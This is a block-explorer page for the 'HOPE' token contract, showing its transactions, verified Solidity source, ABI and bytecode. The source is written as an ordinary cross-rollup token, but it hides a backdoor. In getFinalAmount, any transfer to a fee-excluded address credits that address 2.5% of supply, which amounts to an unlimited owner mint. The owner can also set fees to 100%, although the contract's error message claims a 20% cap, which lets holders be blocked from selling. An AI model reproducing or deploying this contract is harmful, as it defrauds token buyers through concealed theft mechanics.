ETH Price: $3,396.79 (+1.87%)

Contract

0x4e1C34876497C19155f44fbf3d07229E916f2b65
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181318642023-09-14 3:32:59472 days ago1694662379IN
0x4e1C3487...E916f2b65
0 ETH0.0005153711.07932705
Approve181318582023-09-14 3:31:35472 days ago1694662295IN
0x4e1C3487...E916f2b65
0 ETH0.0006099813.0963319
Approve181318412023-09-14 3:27:47472 days ago1694662067IN
0x4e1C3487...E916f2b65
0 ETH0.000458979.86683332
Approve181317962023-09-14 3:18:47472 days ago1694661527IN
0x4e1C3487...E916f2b65
0 ETH0.0005315711.41280453
Approve181317932023-09-14 3:18:11472 days ago1694661491IN
0x4e1C3487...E916f2b65
0 ETH0.0005135611.02893813
Approve181317842023-09-14 3:16:23472 days ago1694661383IN
0x4e1C3487...E916f2b65
0 ETH0.0004739210.25443713
Approve181317772023-09-14 3:14:59472 days ago1694661299IN
0x4e1C3487...E916f2b65
0 ETH0.0006610914.19357261
Approve181317712023-09-14 3:13:47472 days ago1694661227IN
0x4e1C3487...E916f2b65
0 ETH0.0005168411.18295081
Approve181317512023-09-14 3:09:47472 days ago1694660987IN
0x4e1C3487...E916f2b65
0 ETH0.0005364411.60706341
Approve181317362023-09-14 3:06:35472 days ago1694660795IN
0x4e1C3487...E916f2b65
0 ETH0.0014587131.56226961
Approve181317342023-09-14 3:06:11472 days ago1694660771IN
0x4e1C3487...E916f2b65
0 ETH0.0005560811.93902535
Approve181317272023-09-14 3:04:47472 days ago1694660687IN
0x4e1C3487...E916f2b65
0 ETH0.000492110.57894142
Transfer181317152023-09-14 3:02:23472 days ago1694660543IN
0x4e1C3487...E916f2b65
0 ETH0.0012778718
Approve181317042023-09-14 3:00:11472 days ago1694660411IN
0x4e1C3487...E916f2b65
0 ETH0.0005087810.93751512
Transfer181317032023-09-14 2:59:59472 days ago1694660399IN
0x4e1C3487...E916f2b65
0 ETH0.0010800118
Approve181317012023-09-14 2:59:35472 days ago1694660375IN
0x4e1C3487...E916f2b65
0 ETH0.0008206717.73858366
Approve181317012023-09-14 2:59:35472 days ago1694660375IN
0x4e1C3487...E916f2b65
0 ETH0.0008206717.73858366
Approve181317012023-09-14 2:59:35472 days ago1694660375IN
0x4e1C3487...E916f2b65
0 ETH0.0008206717.73858366
Approve181316872023-09-14 2:56:47472 days ago1694660207IN
0x4e1C3487...E916f2b65
0 ETH0.000854418.46770462
Approve181316872023-09-14 2:56:47472 days ago1694660207IN
0x4e1C3487...E916f2b65
0 ETH0.000854418.46770462
Approve181316872023-09-14 2:56:47472 days ago1694660207IN
0x4e1C3487...E916f2b65
0 ETH0.000854418.46770462
Approve181316862023-09-14 2:56:35472 days ago1694660195IN
0x4e1C3487...E916f2b65
0 ETH0.000666614.31180308
Approve181316862023-09-14 2:56:35472 days ago1694660195IN
0x4e1C3487...E916f2b65
0 ETH0.0008472718.31361727
Approve181316632023-09-14 2:51:59472 days ago1694659919IN
0x4e1C3487...E916f2b65
0 ETH0.0007278515.62697699
Approve181316612023-09-14 2:51:35472 days ago1694659895IN
0x4e1C3487...E916f2b65
0 ETH0.000702215.07619005
View all transactions

Latest 14 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
181320362023-09-14 4:07:59472 days ago1694664479
0x4e1C3487...E916f2b65
0 ETH
181320362023-09-14 4:07:59472 days ago1694664479
0x4e1C3487...E916f2b65
0 ETH
181320342023-09-14 4:07:35472 days ago1694664455
0x4e1C3487...E916f2b65
0 ETH
181320342023-09-14 4:07:35472 days ago1694664455
0x4e1C3487...E916f2b65
0 ETH
181316852023-09-14 2:56:23472 days ago1694660183
0x4e1C3487...E916f2b65
0.06485898 ETH
181316852023-09-14 2:56:23472 days ago1694660183
0x4e1C3487...E916f2b65
0.06485898 ETH
181316212023-09-14 2:43:35472 days ago1694659415
0x4e1C3487...E916f2b65
0.04964961 ETH
181316212023-09-14 2:43:35472 days ago1694659415
0x4e1C3487...E916f2b65
0.04964961 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.04835996 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.04835996 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.05195379 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.05195379 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.05584746 ETH
181316162023-09-14 2:42:35472 days ago1694659355
0x4e1C3487...E916f2b65
0.05584746 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HOPE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

// SPDX-License-Identifier: MIT

/*
A protocol for sending tokens across rollups and their shared layer-1 network in a quick and trustless manner

Website: https://www.hopeprotocol.org
Telegram: https://t.me/HopeProtocol
Twitter: https://twitter.com/protocol_hope
*/

pragma solidity 0.8.21;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract HOPE is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "HOPE";
    string private constant _symbol = "HOPE";

    uint8 private constant _decimals = 9;
    uint256 private _tSupply = 10 ** 9 * 10 ** _decimals;

    IUniswapRouter uniRouterV2;
    address public pair;

    bool private tradingOpen = false;
    bool private swapOpen = true;
    bool private inswap;

    uint256 private tradeCounts;
    uint256 private taxSwapAfter;

    uint256 private _swapMaxAmt = ( _tSupply * 1000 ) / 100000;
    uint256 private _swapMinAmt = ( _tSupply * 10 ) / 100000;
    
    uint256 private _lpDivi = 0;
    uint256 private _mkDivi = 0;
    uint256 private _burnDivi = 0;
    uint256 private _devDivi = 100;

    uint256 private buyFee = 1500;
    uint256 private sellFee = 1500;
    uint256 private transferFee = 1500;
    uint256 private denominator = 10000;

    modifier lockEnter {inswap = true; _; inswap = false;}

    address internal developAddress = 0x4AE2A538dDE04165a9DaB8dB530015064923CdFA; 
    address internal marketAddress = 0x4AE2A538dDE04165a9DaB8dB530015064923CdFA;
    address internal lpFeeAddress = 0x4AE2A538dDE04165a9DaB8dB530015064923CdFA;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    uint256 private _maxTrnx = ( _tSupply * 250 ) / 10000;
    uint256 private _maxBuy = ( _tSupply * 250 ) / 10000;
    uint256 private _maxWallet = ( _tSupply * 250 ) / 10000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludeFromFees;

    constructor() Ownable(msg.sender) {
        IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IUniswapFactory(_router.factory()).createPair(address(this), _router.WETH());
        uniRouterV2 = _router; pair = _pair;

        isExcludeFromFees[lpFeeAddress] = true;
        isExcludeFromFees[developAddress] = true;
        isExcludeFromFees[msg.sender] = true;
        isExcludeFromFees[marketAddress] = true;
        _balances[msg.sender] = _tSupply;
        emit Transfer(address(0), msg.sender, _tSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}

    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        _lpDivi = _liquidity; _mkDivi = _marketing; _burnDivi = _burn; _devDivi = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function startTrading() external onlyOwner {tradingOpen = true;}

    function getFinalAmount(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcludeFromFees[recipient]) {return _maxTrnx;}
        if(getBuySellFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getBuySellFees(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(_burnDivi > uint256(0) && getBuySellFees(sender, recipient) > _burnDivi){_transfer(address(this), address(DEAD), amount.div(denominator).mul(_burnDivi));}
        return amount.sub(feeAmount);} return amount;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _tSupply.mul(_buy).div(10000); uint256 newTransfer = _tSupply.mul(_sell).div(10000); uint256 newWallet = _tSupply.mul(_wallet).div(10000);
        _maxTrnx = newTx; _maxBuy = newTransfer; _maxWallet = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function shouldSwapTokensInCa(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _swapMinAmt;
        bool aboveThreshold = balanceOf(address(this)) >= _swapMaxAmt;
        return !inswap && swapOpen && tradingOpen && aboveMin && !isExcludeFromFees[sender] && recipient == pair && tradeCounts >= taxSwapAfter && aboveThreshold;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(uniRouterV2), tokenAmount);
        uniRouterV2.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpFeeAddress,
            block.timestamp);
    }

    function getBuySellFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcludeFromFees[sender] && !isExcludeFromFees[recipient]){require(tradingOpen, "tradingOpen");}
        if(!isExcludeFromFees[sender] && !isExcludeFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWallet, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxBuy || isExcludeFromFees[sender] || isExcludeFromFees[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTrnx || isExcludeFromFees[sender] || isExcludeFromFees[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExcludeFromFees[sender]){tradeCounts += uint256(1);}
        if(shouldSwapTokensInCa(sender, recipient, amount)){swapBackTokensInCa(_swapMaxAmt); tradeCounts = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = amount;
        if (!isExcludeFromFees[sender]) {amountReceived = getFinalAmount(sender, recipient, amount);}
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapBackTokensInCa(uint256 tokens) private lockEnter {
        uint256 _denominator = (_lpDivi.add(1).add(_mkDivi).add(_devDivi)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(_lpDivi).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(_lpDivi));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(_lpDivi);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(_mkDivi);
        if(marketingAmt > 0){payable(marketAddress).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(developAddress).transfer(contractBalance);}
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterV2.WETH();
        _approve(address(this), address(uniRouterV2), tokenAmount);
        uniRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludeFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004af565b6200002290633b9aca00620004c6565b60018190556003805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004c6565b6200005a9190620004e0565b600655620186a0600154600a620000729190620004c6565b6200007e9190620004e0565b6007555f60088190556009819055600a556064600b556105dc600c819055600d819055600e55612710600f81905560108054734ae2a538dde04165a9dab8db530015064923cdfa6001600160a01b0319918216811790925560118054821683179055601280549091169091179055600154620000fc9060fa620004c6565b620001089190620004e0565b60135561271060015460fa6200011f9190620004c6565b6200012b9190620004e0565b60145561271060015460fa620001429190620004c6565b6200014e9190620004e0565b6015553480156200015d575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e8919062000500565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000234573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025a919062000500565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cb919062000500565b600280546001600160a01b038581166001600160a01b03199283161790925560038054848416921691909117905560125481165f908152601860209081526040808320805460ff199081166001908117909255601054861685528285208054821683179055338086528386208054831684179055601154909616855282852080549091168217905554848452601683528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000528565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f457815f1904821115620003d857620003d8620003a0565b80851615620003e657918102915b93841c9390800290620003b9565b509250929050565b5f826200040c57506001620004a9565b816200041a57505f620004a9565b81600181146200043357600281146200043e576200045e565b6001915050620004a9565b60ff841115620004525762000452620003a0565b50506001821b620004a9565b5060208310610133831016604e8410600b841016171562000483575081810a620004a9565b6200048f8383620003b4565b805f1904821115620004a557620004a5620003a0565b0290505b92915050565b5f620004bf60ff841683620003fc565b9392505050565b8082028115828204841417620004a957620004a9620003a0565b5f82620004fb57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000511575f80fd5b81516001600160a01b0381168114620004bf575f80fd5b61179a80620005365f395ff3fe608060405260043610610108575f3560e01c8063893d20e811610092578063a9059cbb11610062578063a9059cbb146102d2578063cb7f97d7146102f1578063dd62ed3e14610310578063f2a4268714610354578063f2fde38b14610382575f80fd5b8063893d20e81461026457806395d89b41146101135780639cc3535114610294578063a8aa1b31146102b3575f80fd5b8063293230b8116100d8578063293230b8146101be5780632f54bf6e146101d4578063313ce5671461020157806370a082311461021c578063715018a614610250575f80fd5b806306fdde0314610113578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820182526004815263484f504560e01b602082015290516101459190611457565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046114b9565b6103a1565b6040519015158152602001610145565b348015610188575f80fd5b506101916103b7565b604051908152602001610145565b3480156101aa575f80fd5b5061016d6101b93660046114e3565b610427565b3480156101c9575f80fd5b506101d261048f565b005b3480156101df575f80fd5b5061016d6101ee366004611521565b5f546001600160a01b0391821691161490565b34801561020c575f80fd5b5060405160098152602001610145565b348015610227575f80fd5b50610191610236366004611521565b6001600160a01b03165f9081526016602052604090205490565b34801561025b575f80fd5b506101d26104d6565b34801561026f575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610145565b34801561029f575f80fd5b506101d26102ae36600461153c565b610543565b3480156102be575f80fd5b5060035461027c906001600160a01b031681565b3480156102dd575f80fd5b5061016d6102ec3660046114b9565b61067f565b3480156102fc575f80fd5b506101d261030b366004611565565b61068b565b34801561031b575f80fd5b5061019161032a3660046115ac565b6001600160a01b039182165f90815260176020908152604080832093909416825291909152205490565b34801561035f575f80fd5b5061016d61036e366004611521565b60186020525f908152604090205460ff1681565b34801561038d575f80fd5b506101d261039c366004611521565b61077f565b5f6103ad3384846107fb565b5060015b92915050565b60166020527f0263c2b778d062355049effc2dece97bc6547ff8a88a3258daa512061c2153dd5461dead5f9081527f290d80ce586bfe95e1ebf348e3ba109df813891ad867417e64d38c5a50473b5754600154919261042292909161041c919061091e565b9061091e565b905090565b5f610433848484610929565b610484843361047f8560405180606001604052806028815260200161173d602891396001600160a01b038a165f9081526017602090815260408083203384529091529020549190610e60565b6107fb565b5060015b9392505050565b5f546001600160a01b031633146104c15760405162461bcd60e51b81526004016104b8906115e3565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104b8906115e3565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461056c5760405162461bcd60e51b81526004016104b8906115e3565b5f61058e61271061058886600154610e8b90919063ffffffff16565b90610e96565b90505f6105ac61271061058886600154610e8b90919063ffffffff16565b90505f6105ca61271061058886600154610e8b90919063ffffffff16565b60138490556014839055601581905590505f6105f56103e861058860056105ef6103b7565b90610e8b565b90508084101580156106075750808310155b80156106135750808210155b6106765760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016104b8565b50505050505050565b5f6103ad338484610929565b5f546001600160a01b031633146106b45760405162461bcd60e51b81526004016104b8906115e3565b60088790556009869055600a859055600b849055600c839055600d829055600e819055600f546106e5906001610e96565b600c54111580156107055750600f546106ff906001610e96565b600d5411155b80156107205750600f5461071a906001610e96565b600e5411155b6106765760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b60648201526084016104b8565b5f546001600160a01b031633146107a85760405162461bcd60e51b81526004016104b8906115e3565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661085d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b8565b6001600160a01b0382166108be5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b8565b6001600160a01b038381165f8181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104888284611617565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b8565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b8565b6001600160a01b0383165f90815260166020526040902054811115610a705760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104b8565b6001600160a01b0383165f9081526018602052604090205460ff16158015610ab057506001600160a01b0382165f9081526018602052604090205460ff16155b15610afc57600354600160a01b900460ff16610afc5760405162461bcd60e51b815260206004820152600b60248201526a3a3930b234b733a7b832b760a91b60448201526064016104b8565b6001600160a01b0383165f9081526018602052604090205460ff16158015610b3c57506001600160a01b0382165f9081526018602052604090205460ff16155b8015610b5657506003546001600160a01b03838116911614155b8015610b6d57506001600160a01b03821661dead14155b15610be5576015546001600160a01b0383165f90815260166020526040902054610b979083610ea1565b1115610be55760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016104b8565b6003546001600160a01b03848116911614610c845760145481111580610c2257506001600160a01b0383165f9081526018602052604090205460ff165b80610c4457506001600160a01b0382165f9081526018602052604090205460ff165b610c845760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104b8565b60135481111580610cac57506001600160a01b0383165f9081526018602052604090205460ff165b80610cce57506001600160a01b0382165f9081526018602052604090205460ff165b610d0e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104b8565b6003546001600160a01b038381169116148015610d4357506001600160a01b0383165f9081526018602052604090205460ff16155b15610d6057600160045f828254610d5a919061162a565b90915550505b610d6b838383610eac565b15610d8057610d7b600654610f6b565b5f6004555b6001600160a01b0383165f90815260166020526040902054610da2908261091e565b6001600160a01b0384165f90815260166020908152604080832093909355601890522054819060ff16610ddd57610dda8484846110e2565b90505b6001600160a01b0383165f90815260166020526040902054610dff9082610ea1565b6001600160a01b038085165f8181526016602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e529085815260200190565b60405180910390a350505050565b5f8184841115610e835760405162461bcd60e51b81526004016104b89190611457565b505050900390565b5f610488828461163d565b5f6104888284611654565b5f610488828461162a565b600754600654305f90815260166020526040812054600354919385101592111590600160b01b900460ff16158015610eed5750600354600160a81b900460ff165b8015610f025750600354600160a01b900460ff165b8015610f0b5750815b8015610f2f57506001600160a01b0386165f9081526018602052604090205460ff16155b8015610f4857506003546001600160a01b038681169116145b8015610f58575060055460045410155b8015610f615750805b9695505050505050565b6003805460ff60b01b1916600160b01b179055600b546009546008545f92610fa8926002926105ef9291610fa29182906001610ea1565b90610ea1565b90505f610fc48261058860085486610e8b90919063ffffffff16565b90505f610fd1848361091e565b905047610fdd8261120c565b5f610fe8478361091e565b90505f61100a6110036008548861091e90919063ffffffff16565b8390610e96565b90505f61102260085483610e8b90919063ffffffff16565b9050801561103457611034868261135c565b6009545f90611048906105ef856002610e8b565b90508015611089576011546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611087573d5f803e3d5ffd5b505b4780156110c9576010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110c7573d5f803e3d5ffd5b505b50506003805460ff60b01b191690555050505050505050565b6001600160a01b0382165f9081526018602052604081205460ff161561110b5750601354610488565b5f611116858561140d565b1115611205575f61113861112a868661140d565b600f546105ef908690610e96565b305f908152601660205260409020